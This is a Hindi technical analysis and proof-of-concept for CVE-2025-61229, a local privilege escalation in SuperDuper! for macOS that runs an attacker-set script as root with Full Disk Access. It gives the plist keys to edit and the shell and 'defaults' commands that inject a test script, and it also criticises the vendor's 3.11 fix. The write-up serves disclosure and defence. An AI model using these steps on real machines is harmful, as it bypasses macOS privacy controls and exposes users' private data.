
CVE-2025-61229 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, यह SuperDuper! में एक स्थानीय विशेषाधिकार वृद्धि है जो macOS पर रूट और Full Disk Access के साथ मनमानी स्क्रिप्ट निष्पादन की अनुमति देता है।
डेवलपर के ब्लॉग से:
उपयोगकर्ता-सेट करने योग्य Before/After शेल स्क्रिप्ट्स, SuperDuper की TCC फुल डिस्क एक्सेस अनुमतियों के साथ, बढ़े हुए विशेषाधिकारों पर चलती हैं। चूँकि ये शेल स्क्रिप्ट्स कॉपी या शेड्यूल की सेटिंग्स फ़ाइलों द्वारा संदर्भित होती हैं, एक दुर्भावनापूर्ण अभिकर्ता अपनी स्वयं की स्क्रिप्ट चलाने के लिए इन सेटिंग्स को संशोधित कर सकता है।
CVE से:
Shirt Pocket's SuperDuper! 3.10 और उससे पहले के संस्करणों में एक समस्या जो किसी स्थानीय हमलावर को डिफ़ॉल्ट कार्य टेम्पलेट को संशोधित करने की अनुमति देती है ताकि रूट विशेषाधिकारों और फुल डिस्क एक्सेस के साथ एक मनमाना प्रीफ़्लाइट स्क्रिप्ट निष्पादित कर सके, जिससे macOS गोपनीयता नियंत्रणों को बायपास किया जा सके।
यह लेखक भेद्यता का खोजकर्ता नहीं है, जिसे SuperDuper डेवलपर ने "अनाम सुरक्षा शोधकर्ता" के रूप में पहचाना है। मैं इस भेद्यता की खोज का कोई श्रेय नहीं लेता, मैंने इसमें केवल तकनीकी विश्लेषण करने में रुचि दिखाई।
CVSS 3.1 स्कोर: 7.8 उच्च (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
इस भेद्यता से बचने के लिए, या तो SuperDuper! एप्लिकेशन को हटा दें, या 3.11 अपडेट लागू करें।
चेतावनी: CVE-2025-61228 भेद्यता से बचने के लिए आपको अपडेट सीधे डेवलपर की वेबसाइट से डाउनलोड करना होगा।
यह एक्सप्लॉइट विश्लेषण और अवधारणा का प्रमाण केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसे अपने जोखिम पर उपयोग करें।
रूट विशेषाधिकार और फुल डिस्क एक्सेस macOS पर सॉफ्टवेयर द्वारा प्राप्त किए जा सकने वाले सर्वोच्च विशेषाधिकार हैं। कोई भी डेवलपर जो इन विशेषाधिकारों का अनुरोध करता है, उसे आधुनिक सुरक्षा डिजाइन सिद्धांतों और सर्वोत्तम प्रथाओं का पालन करने वाला सॉफ्टवेयर लिखना चाहिए। यह भेद्यता, साथ ही CVE-2025-57489 और CVE-2025-61228 में उजागर हुई भेद्यताएँ, और यहाँ तक कि डेवलपर की स्वीकारोक्ति कि ये समस्याएँ 22 वर्षों से बनी हुई हैं, यह दर्शाती हैं कि SuperDuper को एक सुरक्षित उत्पाद के रूप में डिज़ाइन नहीं किया गया था, और 22 वर्षों में आधुनिक सुरक्षा सर्वोत्तम प्रथाओं का पालन करने के लिए इसमें नियमित डिजाइन सुधार नहीं हुए हैं।
SuperDuper कार्य सेटिंग्स उत्पाद के वर्तमान (3.11) संस्करण में भी स्वाभाविक रूप से असुरक्षित बनी हुई हैं। मैं इस उत्पाद का उपयोग करने वाले किसी भी व्यक्ति को सलाह दूंगा कि जब तक डेवलपर एक सक्षम अपडेट प्रदान नहीं करता जो उपरोक्त सभी सुरक्षा चिंताओं का पूरी तरह से समाधान करता है, तब तक इसका उपयोग बंद कर दें।
यह भेद्यता पिछले दो एक्सप्लॉइट (CVE-2025-57489 और CVE-2025-61228) की तुलना में शोषण करने में बहुत आसान थी - स्पष्ट रूप से यह बहुत आसान थी। जब कोई भेद्यता इतनी स्पष्ट, शोषण करने में आसान हो, और दशकों से अनसुलझी हो, तो आप सोचने लगते हैं कि क्या सुरक्षित सॉफ्टवेयर लिखना डेवलपर के लिए महत्वपूर्ण है।
एक असुरक्षित संस्करण से शुरू करते हुए, सबसे पहले हमें यह पता लगाना होगा कि यह "डिफ़ॉल्ट कार्य टेम्पलेट" कहाँ रहता है। देखने के लिए स्पष्ट पहली जगह ~/Library/Application Support/{vendor/product name} होगी। बिल्कुल सही, ~/Library/Application Support/SuperDuper! में तीन फ़ोल्डर हैं:
"Copy Scripts" में एप्लिकेशन बंडल के एक फ़ोल्डर का केवल एक सिमलिंक है, इसलिए वह नहीं। Saved Settings के अंदर ".Default Settings.sdsp" नामक एक छिपा हुआ फ़ोल्डर है। उस फ़ोल्डर के अंदर एक "Logs" फ़ोल्डर और "Session Settings.sdss" नामक एक एकल फ़ाइल है जो plist प्रारूप में है। Session Settings फ़ाइल लॉग-इन उपयोगकर्ता की स्वामित्व वाली है, और हाँ, फ़ाइल में सभी कार्य सेटिंग्स बस नग्न अवस्था में मौजूद हैं।
Before/after स्क्रिप्ट चार सेटिंग्स द्वारा नियंत्रित होती हैं:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
यह सरल परीक्षण स्क्रिप्ट भेद्यता के दोनों पहलुओं को साबित करेगी:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
फिर बस "Session Settings.sdss" plist को संपादित करें। defaults उपयोगिता इसे जल्दी से कर देगी, लेकिन हमें इस फ़ाइल की एक प्रति बनानी होगी क्योंकि defaults को .plist प्रत्यय वाली फ़ाइल की आवश्यकता होती है:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
SuperDuper खोलें और एक बैकअप चलाएँ। जब यह समाप्त हो जाए, तो /Library में "private_data.txt" फ़ाइल देखें (इसमें आपके डेस्कटॉप से फ़ाइलों की एक सूची होनी चाहिए, जो केवल उस एप्लिकेशन के लिए सुलभ होगी जिसके पास उस निजी डेटा तक पहुँचने का विशेषाधिकार है)। ईमानदारी से कहूँ तो मैं थोड़ा हैरान हूँ कि कार्य सेटिंग्स कितनी कमजोर हैं। "है" टाइपो नहीं है। यहाँ बताया गया है कि डेवलपर इस भेद्यता के "समाधान" का वर्णन कैसे करता है:
इस भेद्यता को कम करने के लिए, v3.11 में हमने दो बदलाव किए हैं:
Before/After शेल स्क्रिप्ट को उपयोगकर्ता के आईडी और विशेषाधिकारों के साथ चलाने के लिए मजबूर किया जाता है। जिन व्यक्तियों को वैकल्पिक निष्पादन संदर्भों की आवश्यकता होती है, वे suid जैसे सामान्य Unix विधियों के माध्यम से ऐसा कर सकते हैं।
स्क्रिप्ट का स्वामित्व रूट उपयोगकर्ता के पास होना चाहिए, भले ही वे सामान्य उपयोगकर्ता के संदर्भ में चलाए जाएँ। यह सुनिश्चित करता है कि कोई भी स्क्रिप्ट जो चलेगी, उसे एक प्रशासनिक उपयोगकर्ता द्वारा स्पष्ट रूप से अधिकृत किया गया है।
इसलिए उन्होंने before/after स्क्रिप्ट के रूप में चलाए जा सकने वाले पर कुछ सीमाएँ लगाईं, लेकिन ऐसा प्रतीत नहीं होता कि उन्होंने कार्य सेटिंग्स फ़ाइल की सुरक्षा में सुधार किया है। दुर्भाग्य से, यह केवल हमलावर को कुछ भी उत्पादक करने से सीमित करने में प्रभावी है। before/after शेल स्क्रिप्ट पर एकमात्र आवश्यकता यह है कि इसका स्वामित्व रूट के पास हो। इसके अलावा, हमलावर को अभी भी डिफ़ॉल्ट कार्य सेटिंग्स टेम्पलेट को संशोधित करने की पूर्ण स्वतंत्रता है। यह पूरी तरह से बेतुका है। हो सकता है कि कोई हमलावर इन before/after स्क्रिप्ट का उपयोग आपके पासवर्ड और वित्तीय डेटा को चुराने के लिए न कर सके, लेकिन मुझे यकीन है कि वे किसी भी यादृच्छिक अंतर्निहित शेल टूल (जिनमें से अधिकांश रूट स्वामित्व आवश्यकता को पूरा करते हैं) को निर्दिष्ट करके काफी तबाही मचा सकते हैं। आगे बढ़ें और "/usr/bin/say" उपयोगिता को Before स्क्रिप्ट के रूप में प्लग इन करें और देखें क्या होता है – यह हास्यास्पद होगा यदि डेटा सुरक्षा इतना गंभीर विषय न होता। कोई भी अंतर्निहित उपयोगिता तर्कों को संशोधित करने की क्षमता के बिना महत्वपूर्ण प्रभाव नहीं डालेगी, लेकिन उनमें से कुछ कुछ झुंझलाहट पैदा कर सकती हैं और निश्चित रूप से बैकअप को विफल कर देंगी।
मेरा मतलब है कि "रूट एक्सप्लॉइट से बचने" और "सुरक्षित सॉफ्टवेयर लिखने" के बीच अंतर है। डेवलपर ने यहाँ काफी हद तक दो रूट एक्सप्लॉइट अवसरों से बचने में सफलता पाई है, लेकिन कार्य कॉन्फ़िगरेशन अभी भी स्वाभाविक रूप से असुरक्षित है। कोई भी यादृच्छिक व्यक्ति "पर्दे के पीछे" कार्य सेटिंग्स को संशोधित कर सकता है, और यदि आप ध्यान नहीं दे रहे हैं, तो उन परिवर्तनों का आपके डेटा या आपके बैकअप पर किसी प्रकार का प्रभाव हो सकता है।
आपको यह भी सोचना होगा कि क्या अन्य सेटिंग्स पर सुरक्षा की यह कमी अभी भी शोषित की जा सकती है।